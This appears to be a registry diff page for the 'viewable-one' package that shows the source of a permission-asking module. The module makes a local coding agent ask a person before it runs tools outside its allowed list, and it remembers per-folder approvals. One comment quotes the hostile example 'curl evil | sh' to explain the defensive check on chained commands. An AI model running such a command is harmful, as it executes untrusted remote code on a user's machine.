viewable-one 0.0.0-stage → 0.12.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +1483 -0
- package/LICENSE +21 -0
- package/README.md +738 -2
- package/SPAWN.md +2108 -0
- package/glytch.mjs +517 -0
- package/lib/acp.mjs +1018 -0
- package/lib/admission.mjs +105 -0
- package/lib/agent-selection.mjs +124 -0
- package/lib/agents.mjs +914 -0
- package/lib/atomic.mjs +96 -0
- package/lib/auth.mjs +1491 -0
- package/lib/authenticatedHttp.mjs +75 -0
- package/lib/boardside.mjs +225 -0
- package/lib/child.mjs +1292 -0
- package/lib/cli-output.mjs +176 -0
- package/lib/cloudflared-release.json +25 -0
- package/lib/cloudflared.mjs +81 -0
- package/lib/codex-rpc.mjs +92 -0
- package/lib/codex.mjs +767 -0
- package/lib/codexApps.mjs +344 -0
- package/lib/codexPlanWindow.mjs +84 -0
- package/lib/codexToolInputs.mjs +139 -0
- package/lib/codingChecks.mjs +55 -0
- package/lib/compose.mjs +76 -0
- package/lib/computerApps.mjs +110 -0
- package/lib/conversationRules.mjs +45 -0
- package/lib/detect.mjs +629 -0
- package/lib/devserver.mjs +670 -0
- package/lib/digest.mjs +290 -0
- package/lib/doctor.mjs +464 -0
- package/lib/exitClass.mjs +64 -0
- package/lib/hosted.mjs +112 -0
- package/lib/imageAttachments.mjs +31 -0
- package/lib/init-connect.mjs +418 -0
- package/lib/kill.mjs +104 -0
- package/lib/logindaemon.mjs +976 -0
- package/lib/logs.mjs +120 -0
- package/lib/mcpjson.mjs +242 -0
- package/lib/memberPreview.mjs +173 -0
- package/lib/multiwatch.mjs +428 -0
- package/lib/pagePictures.mjs +396 -0
- package/lib/pageRoutes.mjs +70 -0
- package/lib/paths.mjs +10 -0
- package/lib/permissionAsk.mjs +418 -0
- package/lib/picker.mjs +300 -0
- package/lib/platform.mjs +60 -0
- package/lib/previewGateway.mjs +130 -0
- package/lib/previewTunnel.mjs +85 -0
- package/lib/procs.mjs +428 -0
- package/lib/project-mcp.mjs +288 -0
- package/lib/projectPaths.mjs +31 -0
- package/lib/refusal.mjs +70 -0
- package/lib/registry.mjs +204 -0
- package/lib/repomap.mjs +323 -0
- package/lib/restartPass.mjs +151 -0
- package/lib/retired-address.mjs +78 -0
- package/lib/rowsAnswers.mjs +388 -0
- package/lib/rowsEvents.mjs +86 -0
- package/lib/run-engine.mjs +16 -0
- package/lib/runner-health.mjs +57 -0
- package/lib/runner.mjs +1640 -0
- package/lib/runnerAdmission.mjs +35 -0
- package/lib/runnerApi.mjs +312 -0
- package/lib/runnerCompletion.mjs +406 -0
- package/lib/runnerLease.mjs +37 -0
- package/lib/runnerMaintenance.mjs +27 -0
- package/lib/runnerPace.mjs +283 -0
- package/lib/runnerPerformance.mjs +26 -0
- package/lib/runnerRealtime.mjs +340 -0
- package/lib/runnerRegister.mjs +96 -0
- package/lib/runnerSettings.mjs +40 -0
- package/lib/runnerSettlement.mjs +145 -0
- package/lib/runnerWorkspace.mjs +177 -0
- package/lib/serverSweep.mjs +90 -0
- package/lib/sharedPreview.mjs +292 -0
- package/lib/signIn.mjs +47 -0
- package/lib/spawn.mjs +330 -0
- package/lib/sweep.mjs +161 -0
- package/lib/sync.mjs +484 -0
- package/lib/uninstall-project.mjs +589 -0
- package/lib/uninstall.mjs +464 -0
- package/lib/update.mjs +302 -0
- package/lib/usageLimit.mjs +108 -0
- package/lib/viewableFolder.mjs +105 -0
- package/lib/windows-command.mjs +85 -0
- package/lib/worktree.mjs +1142 -0
- package/lib/writePolicy.mjs +45 -0
- package/package.json +58 -4
- package/spawn-runner.mjs +167 -0
|
@@ -0,0 +1,418 @@
|
|
|
1
|
+
import { writeRisk, riskReason } from "./writePolicy.mjs";
|
|
2
|
+
import { appInputsText } from "./codexToolInputs.mjs";
|
|
3
|
+
// ASK IN THE IDEA (issue #478, rulings #470 #468 #417 #418).
|
|
4
|
+
//
|
|
5
|
+
// A coding agent on the person's computer works from a list of things it may
|
|
6
|
+
// do without asking. When it needs something outside that list it used to be
|
|
7
|
+
// refused silently and carry on worse off. Now it asks: one question lands in
|
|
8
|
+
// the idea ("Can I run pip install requests in my-app?") and the run waits for
|
|
9
|
+
// the answer.
|
|
10
|
+
//
|
|
11
|
+
// This file owns everything about that exchange that is not a pipe:
|
|
12
|
+
// - the words of the question and its three options;
|
|
13
|
+
// - what "Always allow in <folder>" remembers, and where;
|
|
14
|
+
// - waiting for the answer with the board's own `check_answer`;
|
|
15
|
+
// - turning the answer into allow or deny.
|
|
16
|
+
// child.mjs (Claude, `control_request`) and codex.mjs (Codex approval
|
|
17
|
+
// requests) each call the asker this builds; neither knows board vocabulary.
|
|
18
|
+
//
|
|
19
|
+
// WHY THE ASKER POLLS check_answer ITSELF and does not wait for the answer
|
|
20
|
+
// poll to deliver it as a message: the answer poll hands answers to the child
|
|
21
|
+
// as a USER message, and a permission answer must resolve the pending
|
|
22
|
+
// permission request instead, never be typed into the conversation. So the
|
|
23
|
+
// asker claims its question on the poll (`claim`) and reads the answer itself.
|
|
24
|
+
//
|
|
25
|
+
// NO ANSWER MEANS KEEP WAITING. The run's wall clock and Stop are the bounds;
|
|
26
|
+
// the stall watchdog does not count time spent waiting for a person
|
|
27
|
+
// (child.mjs `pendingPermissions`, codex.mjs `waitingOnPerson`).
|
|
28
|
+
//
|
|
29
|
+
// A plan draft never reaches here: drafts are read-only and never given the
|
|
30
|
+
// asker (agents.mjs commandFor, runner.mjs makeRunOpts).
|
|
31
|
+
|
|
32
|
+
import { createHash } from "node:crypto";
|
|
33
|
+
import { mkdir, readFile } from "node:fs/promises";
|
|
34
|
+
import { basename, join, posix, win32 } from "node:path";
|
|
35
|
+
import { writeFileAtomic } from "./atomic.mjs";
|
|
36
|
+
import { askUserOnBoard } from "./boardside.mjs";
|
|
37
|
+
import { callTool as hostedCallTool } from "./hosted.mjs";
|
|
38
|
+
import { viewableHome } from "./registry.mjs";
|
|
39
|
+
|
|
40
|
+
/** The three buttons, in this order. "Allow" is the recommended one. */
|
|
41
|
+
export const ALLOW = "Allow";
|
|
42
|
+
export const NOT_THIS = "Not this";
|
|
43
|
+
export const alwaysLabel = (folderName) => `Always allow in ${folderName}`;
|
|
44
|
+
|
|
45
|
+
const digest = (value) => createHash("sha256").update(value).digest("hex");
|
|
46
|
+
|
|
47
|
+
/** One line, single spaces, cut at `max` characters. Report any lost text. */
|
|
48
|
+
const oneLine = (text, max, onChanged) => {
|
|
49
|
+
const exact = String(text ?? "");
|
|
50
|
+
const flat = exact.replace(/\s+/g, " ").trim();
|
|
51
|
+
const shown = flat.length > max ? `${flat.slice(0, max - 1).trimEnd()}…` : flat;
|
|
52
|
+
if (shown !== exact) onChanged?.();
|
|
53
|
+
return shown;
|
|
54
|
+
};
|
|
55
|
+
|
|
56
|
+
/** Whitespace or characters that the one-line question cannot show exactly. */
|
|
57
|
+
const needsFullDisplay = (text) => /^\s|\s$|[\n\t]| {2}|[^\x20-\x7E]/u.test(text);
|
|
58
|
+
|
|
59
|
+
/** Visible command text: every CR and other hidden character is an escape.
|
|
60
|
+
* Full details escape boundary spaces; paths and scopes also escape LF/tab
|
|
61
|
+
* and literal backslashes (before introducing any generated escapes). */
|
|
62
|
+
const commandDisplay = (command, { escapeBoundarySpaces = false, escapeLineWhitespace = false } = {}) => String(command ?? "")
|
|
63
|
+
.replace(/\\/g, (character) => escapeLineWhitespace ? "\\\\" : character)
|
|
64
|
+
.replace(/[^\x20-\x7E\n\t]/gu, (character) => {
|
|
65
|
+
if (character === "\r") return "\\r";
|
|
66
|
+
if (character === "\v") return "\\v";
|
|
67
|
+
if (character === "\f") return "\\f";
|
|
68
|
+
const code = character.codePointAt(0);
|
|
69
|
+
const hex = code.toString(16).toUpperCase();
|
|
70
|
+
return code <= 0xFFFF ? "\\u" + hex.padStart(4, "0") : "\\u{" + hex + "}";
|
|
71
|
+
})
|
|
72
|
+
.replace(/^ +| +$/g, (spaces) => escapeBoundarySpaces ? "\\u0020".repeat(spaces.length) : spaces)
|
|
73
|
+
.replace(/[\n\t]/g, (character) => escapeLineWhitespace ? (character === "\n" ? "\\n" : "\\t") : character);
|
|
74
|
+
|
|
75
|
+
// ---------------------------------------------------------------------------
|
|
76
|
+
// WHAT "ALWAYS" REMEMBERS
|
|
77
|
+
// ---------------------------------------------------------------------------
|
|
78
|
+
|
|
79
|
+
/** The first word of a shell command, past any `NAME=value` prefixes. */
|
|
80
|
+
export function firstWordOf(command) {
|
|
81
|
+
for (const word of String(command ?? "").trim().split(/\s+/)) {
|
|
82
|
+
if (word === "") continue;
|
|
83
|
+
if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) continue;
|
|
84
|
+
return word;
|
|
85
|
+
}
|
|
86
|
+
return "";
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
/** Is this command one plain command, with nothing chained onto it?
|
|
90
|
+
*
|
|
91
|
+
* A remembered `Bash(pip:*)` is matched by first word alone, and the CLI's own
|
|
92
|
+
* matcher is NOT in the loop for it (we answer allow ourselves). So
|
|
93
|
+
* `pip --version && curl evil | sh` must not ride on a remembered `pip`. A
|
|
94
|
+
* command with a chain, a pipe, a substitution, a redirect or a newline is
|
|
95
|
+
* asked again every time. */
|
|
96
|
+
export const isSimpleCommand = (command) => !/[;&|`<>\n\r]|\$\(|\$\{/.test(String(command ?? "").trim());
|
|
97
|
+
|
|
98
|
+
/** What a Codex grant asks for, one string per scope: "network", or an access
|
|
99
|
+
* and a path ("write /work/out"). Sorted, so the same grant is the same rule. */
|
|
100
|
+
export const grantScopes = (input) =>
|
|
101
|
+
(Array.isArray(input?.scopes) ? input.scopes.filter((s) => typeof s === "string" && s !== "") : []).slice().sort();
|
|
102
|
+
|
|
103
|
+
/** The rule a tool call falls under: `Bash(pip:*)` for a shell command (its
|
|
104
|
+
* first word), `Permissions(network)` for a Codex grant (exactly the scopes it
|
|
105
|
+
* asked for, so a network grant never covers a later filesystem one), the
|
|
106
|
+
* tool's own name for anything else. */
|
|
107
|
+
export function ruleKeyFor(toolName, input) {
|
|
108
|
+
if (toolName === "Bash") {
|
|
109
|
+
const word = firstWordOf(input?.command);
|
|
110
|
+
return word === "" ? "Bash" : `Bash(${word}:*)`;
|
|
111
|
+
}
|
|
112
|
+
if (toolName === "Permissions") {
|
|
113
|
+
const scopes = grantScopes(input);
|
|
114
|
+
return scopes.length === 0 ? "Permissions" : `Permissions(${scopes.join(", ")})`;
|
|
115
|
+
}
|
|
116
|
+
return String(toolName ?? "");
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
/** A rule that may be remembered. A grant that names no scope is asked every
|
|
120
|
+
* time: remembering it would allow whatever the next grant asks. */
|
|
121
|
+
export const rememberable = (toolName, input) => !String(toolName).startsWith("mcp__") && (toolName !== "Permissions" || grantScopes(input).length > 0);
|
|
122
|
+
|
|
123
|
+
// ---------------------------------------------------------------------------
|
|
124
|
+
// THE QUESTION
|
|
125
|
+
// ---------------------------------------------------------------------------
|
|
126
|
+
|
|
127
|
+
// The file in the words uses forward slashes on every OS. A folder written the
|
|
128
|
+
// Windows way ("C:\\work\\app") is read the Windows way wherever this runs.
|
|
129
|
+
const inFolder = (path, folder) => {
|
|
130
|
+
if (typeof path !== "string" || path === "") return "";
|
|
131
|
+
if (folder) {
|
|
132
|
+
const p = /^[A-Za-z]:[\\/]|^\\\\/.test(folder) ? win32 : posix;
|
|
133
|
+
if (p.isAbsolute(path)) {
|
|
134
|
+
const rel = p.relative(folder, path);
|
|
135
|
+
if (rel !== "" && !rel.startsWith("..") && !p.isAbsolute(rel)) return rel.split(p.sep).join("/");
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
return path;
|
|
139
|
+
};
|
|
140
|
+
|
|
141
|
+
const hostOf = (url) => {
|
|
142
|
+
try { return new URL(url).host || String(url); } catch { return String(url ?? ""); }
|
|
143
|
+
};
|
|
144
|
+
|
|
145
|
+
/** What the agent wants to do, as a verb phrase a person can read. */
|
|
146
|
+
export function actionWords(toolName, input = {}, { folder, folderName, onTargetChanged } = {}) {
|
|
147
|
+
switch (toolName) {
|
|
148
|
+
case "Bash": {
|
|
149
|
+
const command = oneLine(commandDisplay(input.command), 90);
|
|
150
|
+
return "run " + (command || "a command with no text") + " in " + folderName;
|
|
151
|
+
}
|
|
152
|
+
case "WebSearch": return "search the web";
|
|
153
|
+
case "WebFetch": return `open ${oneLine(hostOf(input.url), 60)}`;
|
|
154
|
+
case "Write": return `write ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
|
|
155
|
+
case "Edit":
|
|
156
|
+
case "MultiEdit":
|
|
157
|
+
case "NotebookEdit": return `change ${oneLine(inFolder(input.file_path ?? input.notebook_path, folder), 80, onTargetChanged)}`;
|
|
158
|
+
case "Read": return `read ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
|
|
159
|
+
case "Glob":
|
|
160
|
+
case "Grep": return "look through files outside this folder";
|
|
161
|
+
case "Permissions": {
|
|
162
|
+
const parts = grantScopes(input).map((scope) => {
|
|
163
|
+
if (scope === "network") return "use the network";
|
|
164
|
+
const [access, ...path] = scope.split(" ");
|
|
165
|
+
const where = oneLine(inFolder(path.join(" "), folder), 60, onTargetChanged);
|
|
166
|
+
return access === "write" ? `write to ${where}` : access === "read" ? `read ${where}` : `${access} ${where}`;
|
|
167
|
+
});
|
|
168
|
+
return parts.length === 0 ? "go past what it may do without asking" : oneLine(parts.join(" and "), 120, onTargetChanged);
|
|
169
|
+
}
|
|
170
|
+
default: {
|
|
171
|
+
const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName ?? ""));
|
|
172
|
+
if (mcp) return `use ${mcp[2].replaceAll("_", " ")} from ${mcp[1]}`;
|
|
173
|
+
return `use the ${toolName} tool`;
|
|
174
|
+
}
|
|
175
|
+
}
|
|
176
|
+
}
|
|
177
|
+
|
|
178
|
+
/** One sentence on what the agent wants it for. Omit a missing purpose or
|
|
179
|
+
* a description that only repeats the command already in the question. */
|
|
180
|
+
function purposeOf(toolName, input = {}) {
|
|
181
|
+
const described = typeof input.description === "string" ? oneLine(input.description, 200) : "";
|
|
182
|
+
if (toolName === "Bash" && input.command) {
|
|
183
|
+
const command = oneLine(input.command, 200);
|
|
184
|
+
if (described === command || described === `${command}.`) return "";
|
|
185
|
+
}
|
|
186
|
+
if (described !== "") return /[.!?]$/.test(described) ? described : `${described}.`;
|
|
187
|
+
if (toolName === "WebSearch" && input.query) return `It wants to look up "${oneLine(input.query, 120)}".`;
|
|
188
|
+
if (toolName === "WebFetch" && input.url) return `It wants to read ${oneLine(input.url, 120)}.`;
|
|
189
|
+
return "";
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
/** The whole question, ready for ask_user.
|
|
193
|
+
*
|
|
194
|
+
* question: "Can I run pip install requests in my-app?"
|
|
195
|
+
* options: Allow | Not this | Always allow in my-app
|
|
196
|
+
* why: what it is for, or blank when there is no purpose to add;
|
|
197
|
+
* includes full commands, scopes or paths when cut or hidden
|
|
198
|
+
*/
|
|
199
|
+
export function questionFor({ toolName, input, folder }) {
|
|
200
|
+
const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName));
|
|
201
|
+
if (mcp) {
|
|
202
|
+
const [, provider, name] = mcp;
|
|
203
|
+
const risk = writeRisk(provider.toLowerCase(), name, input) ?? "open-ended";
|
|
204
|
+
return { question: `Use ${name.replaceAll("_", " ")} in ${provider}?`,
|
|
205
|
+
why: `On your computer, ${provider}\n${riskReason(risk)}\n${appInputsText(provider, input, name)}`,
|
|
206
|
+
options: [ALLOW, NOT_THIS], recommendation: { answer: ALLOW, why: "Allow this request once." } };
|
|
207
|
+
}
|
|
208
|
+
const folderName = basename(folder) || folder;
|
|
209
|
+
let targetChanged = false;
|
|
210
|
+
const action = actionWords(toolName, input, { folder, folderName, onTargetChanged: () => { targetChanged = true; } });
|
|
211
|
+
let why = purposeOf(toolName, input);
|
|
212
|
+
if (toolName === "Bash") {
|
|
213
|
+
// Preserve literal spacing and show hidden characters explicitly.
|
|
214
|
+
// Hosted ask_user has no upper why limit, so display the whole command.
|
|
215
|
+
const rawCommand = String(input?.command ?? "");
|
|
216
|
+
const command = commandDisplay(rawCommand, { escapeBoundarySpaces: true });
|
|
217
|
+
if (command.length > 90 || needsFullDisplay(rawCommand)) {
|
|
218
|
+
const fullCommand = `Command: ${command}`;
|
|
219
|
+
why = why ? `${why}\n${fullCommand}` : fullCommand;
|
|
220
|
+
}
|
|
221
|
+
} else if (toolName === "Permissions") {
|
|
222
|
+
const scopes = grantScopes(input);
|
|
223
|
+
// Compare at the formatter, after relativization and at both length limits.
|
|
224
|
+
if (targetChanged || scopes.some(needsFullDisplay)) {
|
|
225
|
+
const fullScopes = scopes.map((scope) => `Scope: ${commandDisplay(scope, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`).join("\n");
|
|
226
|
+
why = why ? `${why}\n${fullScopes}` : fullScopes;
|
|
227
|
+
}
|
|
228
|
+
} else if (["Write", "Edit", "MultiEdit", "NotebookEdit", "Read"].includes(toolName)) {
|
|
229
|
+
const path = String(input?.file_path ?? input?.notebook_path ?? "");
|
|
230
|
+
if (targetChanged || needsFullDisplay(path)) {
|
|
231
|
+
const fullPath = `Path: ${commandDisplay(path, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`;
|
|
232
|
+
why = why ? `${why}\n${fullPath}` : fullPath;
|
|
233
|
+
}
|
|
234
|
+
}
|
|
235
|
+
return {
|
|
236
|
+
question: `Can I ${action}?`,
|
|
237
|
+
why,
|
|
238
|
+
options: [ALLOW, NOT_THIS, alwaysLabel(folderName)],
|
|
239
|
+
recommendation: { answer: ALLOW, why: "It lets this run carry on with what you asked." },
|
|
240
|
+
};
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
// ---------------------------------------------------------------------------
|
|
244
|
+
// MEMORY: one small file per folder
|
|
245
|
+
// ---------------------------------------------------------------------------
|
|
246
|
+
|
|
247
|
+
/** `<glytch home>/permissions/<digest of the folder path>.json` */
|
|
248
|
+
export const memoryPath = (env, folder) => join(viewableHome(env), "permissions", `${digest(String(folder))}.json`);
|
|
249
|
+
|
|
250
|
+
/** The rule keys remembered for this folder. A missing or unreadable file is
|
|
251
|
+
* "nothing remembered", never an error: the worst case is one more question. */
|
|
252
|
+
export async function readRules(env, folder) {
|
|
253
|
+
try {
|
|
254
|
+
const data = JSON.parse(await readFile(memoryPath(env, folder), "utf8"));
|
|
255
|
+
return Array.isArray(data?.rules) ? data.rules.filter((r) => typeof r === "string") : [];
|
|
256
|
+
} catch {
|
|
257
|
+
return [];
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/** Remember a rule for this folder. Atomic, so a run reading it at the same
|
|
262
|
+
* moment sees the old list or the new one, never half a file. */
|
|
263
|
+
export async function rememberRule(env, folder, key) {
|
|
264
|
+
const rules = await readRules(env, folder);
|
|
265
|
+
if (rules.includes(key)) return rules;
|
|
266
|
+
const next = [...rules, key];
|
|
267
|
+
const path = memoryPath(env, folder);
|
|
268
|
+
await mkdir(join(viewableHome(env), "permissions"), { recursive: true, mode: 0o700 });
|
|
269
|
+
await writeFileAtomic(path, `${JSON.stringify({ folder: String(folder), rules: next }, null, 2)}\n`);
|
|
270
|
+
return next;
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
/** Does a remembered rule cover this call? A shell command only when it is a
|
|
274
|
+
* single plain command (see isSimpleCommand). */
|
|
275
|
+
export function ruleCovers(rules, toolName, input) {
|
|
276
|
+
if (!rememberable(toolName, input)) return false;
|
|
277
|
+
const key = ruleKeyFor(toolName, input);
|
|
278
|
+
if (!rules.includes(key)) return false;
|
|
279
|
+
return toolName !== "Bash" || isSimpleCommand(input?.command);
|
|
280
|
+
}
|
|
281
|
+
|
|
282
|
+
// ---------------------------------------------------------------------------
|
|
283
|
+
// THE ANSWER
|
|
284
|
+
// ---------------------------------------------------------------------------
|
|
285
|
+
|
|
286
|
+
/** What check_answer said, as one of: {state:"open"}, {state:"answered",
|
|
287
|
+
* decision}, {state:"gone"} (dismissed, or no such question). */
|
|
288
|
+
export function readAnswer(text) {
|
|
289
|
+
const t = String(text ?? "");
|
|
290
|
+
const answered = /^Answered\. The user's decision: (.*)$/m.exec(t);
|
|
291
|
+
if (answered) return { state: "answered", decision: answered[1].trim() };
|
|
292
|
+
if (/^Answered\./m.test(t)) return { state: "answered", decision: "" };
|
|
293
|
+
if (/dismissed|^No such question/m.test(t)) return { state: "gone" };
|
|
294
|
+
return { state: "open" };
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
/** The message an agent reads when the answer is no. It must make the
|
|
298
|
+
* agent carry on rather than retry or stop. */
|
|
299
|
+
const NO_MESSAGE = "The person said no to this. Carry on without it, and do not ask for it again.";
|
|
300
|
+
|
|
301
|
+
/** An answer, as the verdict the engine needs: {behavior, remember, message}. */
|
|
302
|
+
export function verdictFor(answer, folderName) {
|
|
303
|
+
if (answer.state === "gone") {
|
|
304
|
+
return { behavior: "deny", remember: false, message: "The person dismissed the question without answering. Carry on without it, and do not ask for it again." };
|
|
305
|
+
}
|
|
306
|
+
if (answer.decision === ALLOW) return { behavior: "allow", remember: false };
|
|
307
|
+
if (answer.decision === alwaysLabel(folderName)) return { behavior: "allow", remember: true };
|
|
308
|
+
if (answer.decision === NOT_THIS || answer.decision === "") return { behavior: "deny", remember: false, message: NO_MESSAGE };
|
|
309
|
+
// Their own words: not a button. That is a no, with the words passed along,
|
|
310
|
+
// because "use yarn instead" is guidance the agent should read.
|
|
311
|
+
return { behavior: "deny", remember: false, message: `The person said no to this, and wrote: ${oneLine(answer.decision, 400)}. Carry on without it.` };
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
/** The deny an agent reads when the question could not be filed. The board's
|
|
315
|
+
* own refusal ("The run's idea is missing or deleted...") is the reason, so it
|
|
316
|
+
* reaches the run's transcript instead of a vague "could not be asked" (#592). */
|
|
317
|
+
export function notAskedMessage(filed) {
|
|
318
|
+
const reason = filed.ok ? "" : oneLine(filed.detail, 300);
|
|
319
|
+
return reason === ""
|
|
320
|
+
? "The person could not be asked just now. Carry on without it."
|
|
321
|
+
: `The person could not be asked: ${reason} Carry on without it.`;
|
|
322
|
+
}
|
|
323
|
+
|
|
324
|
+
const sleepFor = (ms, signal) =>
|
|
325
|
+
new Promise((resolve) => {
|
|
326
|
+
if (signal?.aborted) { resolve(); return; }
|
|
327
|
+
const timer = setTimeout(done, ms);
|
|
328
|
+
function done() { clearTimeout(timer); signal?.removeEventListener("abort", done); resolve(); }
|
|
329
|
+
signal?.addEventListener("abort", done, { once: true });
|
|
330
|
+
});
|
|
331
|
+
|
|
332
|
+
/** Build the asker for one run.
|
|
333
|
+
*
|
|
334
|
+
* `ask({ toolName, input, signal })` resolves to `{behavior: "allow"}` or
|
|
335
|
+
* `{behavior: "deny", message}`. It resolves `null` when `signal` aborts first
|
|
336
|
+
* (the run ended or the CLI cancelled the request): nothing to answer then.
|
|
337
|
+
* An exact protocol `question` skips permission memory and resolves to
|
|
338
|
+
* `{behavior: "answer", answer}` or `{behavior: "cancel"}`. The protocol
|
|
339
|
+
* adapter validates the literal answer; free text never becomes a grant.
|
|
340
|
+
*
|
|
341
|
+
* folder the run's linked folder (memory is per folder; its basename is
|
|
342
|
+
* the "<folder>" in the options)
|
|
343
|
+
* session the run's board session ({key}), so the question lands on its idea
|
|
344
|
+
* fromId the idea the run belongs to
|
|
345
|
+
* poll the run's answer poll, so the permission question's answer is
|
|
346
|
+
* not also typed into the conversation (`claim`)
|
|
347
|
+
*/
|
|
348
|
+
export function createPermissionAsker({
|
|
349
|
+
folder, session, fromId, env, callTool = hostedCallTool, poll, log = () => {}, pollMs = 2000,
|
|
350
|
+
}) {
|
|
351
|
+
const folderName = basename(folder) || folder;
|
|
352
|
+
const ask = async ({ toolName, input = {}, signal, question }) => {
|
|
353
|
+
if (signal?.aborted) return null;
|
|
354
|
+
// Protocol questions are exact, per-call choices. They never consult or
|
|
355
|
+
// write the folder's remembered permission rules.
|
|
356
|
+
const remembered = question ? [] : await readRules(env, folder);
|
|
357
|
+
if (signal?.aborted) return null;
|
|
358
|
+
if (!question && ruleCovers(remembered, toolName, input)) {
|
|
359
|
+
log(`permission: ${ruleKeyFor(toolName, input)} is allowed in ${folderName} (remembered), no question filed`);
|
|
360
|
+
return { behavior: "allow" };
|
|
361
|
+
}
|
|
362
|
+
const q = question ?? questionFor({ toolName, input, folder });
|
|
363
|
+
const filed = await askUserOnBoard(
|
|
364
|
+
session, q.question,
|
|
365
|
+
{ why: q.why, fromId, options: q.options, recommendation: q.recommendation, purpose: "permission" },
|
|
366
|
+
{ callTool, env },
|
|
367
|
+
);
|
|
368
|
+
if (!filed.ok || !filed.questionId) {
|
|
369
|
+
log(`permission: could not file the question (${filed.detail ?? "no id"}); denying`);
|
|
370
|
+
return { behavior: "deny", message: notAskedMessage(filed) };
|
|
371
|
+
}
|
|
372
|
+
log(`permission: asked "${q.question}" (${filed.questionId})`);
|
|
373
|
+
// The normal answer poll must not type this answer into the conversation.
|
|
374
|
+
poll?.claim?.(filed.questionId);
|
|
375
|
+
if (signal?.aborted) return null;
|
|
376
|
+
let failures = 0;
|
|
377
|
+
for (;;) {
|
|
378
|
+
if (signal?.aborted) return null;
|
|
379
|
+
const started = Date.now();
|
|
380
|
+
let outcome;
|
|
381
|
+
try {
|
|
382
|
+
// Match board-mcp's 50s maximum. The transport must outlive the held
|
|
383
|
+
// call; Stop and the run's wall clock still cancel it via signal.
|
|
384
|
+
outcome = await callTool("check_answer", { question_id: filed.questionId, wait_s: 50 }, {
|
|
385
|
+
sessionKey: session.key, env, timeoutMs: 60_000, signal,
|
|
386
|
+
});
|
|
387
|
+
} catch (error) {
|
|
388
|
+
outcome = { isError: true, text: error instanceof Error ? error.message : String(error) };
|
|
389
|
+
}
|
|
390
|
+
if (signal?.aborted) return null;
|
|
391
|
+
if (outcome.isError) {
|
|
392
|
+
// A blip is not an answer. Keep waiting; say so once.
|
|
393
|
+
if (failures++ === 0) log(`permission: check_answer failed (${oneLine(outcome.text, 120)}); still waiting`);
|
|
394
|
+
} else {
|
|
395
|
+
failures = 0;
|
|
396
|
+
const answer = readAnswer(outcome.text);
|
|
397
|
+
if (answer.state !== "open") {
|
|
398
|
+
if (question) return answer.state === "gone"
|
|
399
|
+
? { behavior: "cancel" }
|
|
400
|
+
: { behavior: "answer", answer: answer.decision };
|
|
401
|
+
const verdict = verdictFor(answer, folderName);
|
|
402
|
+
if (verdict.remember && !rememberable(toolName, input)) log("permission: this grant names no scope, so it is allowed once and not remembered");
|
|
403
|
+
else if (verdict.remember) {
|
|
404
|
+
try { await rememberRule(env, folder, ruleKeyFor(toolName, input)); }
|
|
405
|
+
catch (error) { log(`permission: could not save the rule (${error?.message ?? error}); allowing this once`); }
|
|
406
|
+
}
|
|
407
|
+
log(`permission: ${verdict.behavior} for ${ruleKeyFor(toolName, input)}${verdict.remember ? " and remembered for " + folderName : ""}`);
|
|
408
|
+
return verdict.behavior === "allow" ? { behavior: "allow" } : { behavior: "deny", message: verdict.message };
|
|
409
|
+
}
|
|
410
|
+
}
|
|
411
|
+
// Renew a completed wait immediately. Back off after errors or an
|
|
412
|
+
// older endpoint that returns at once, rather than spinning.
|
|
413
|
+
const delay = outcome.isError ? pollMs : Math.max(0, pollMs - (Date.now() - started));
|
|
414
|
+
if (delay > 0) await sleepFor(delay, signal);
|
|
415
|
+
}
|
|
416
|
+
};
|
|
417
|
+
return ask;
|
|
418
|
+
}
|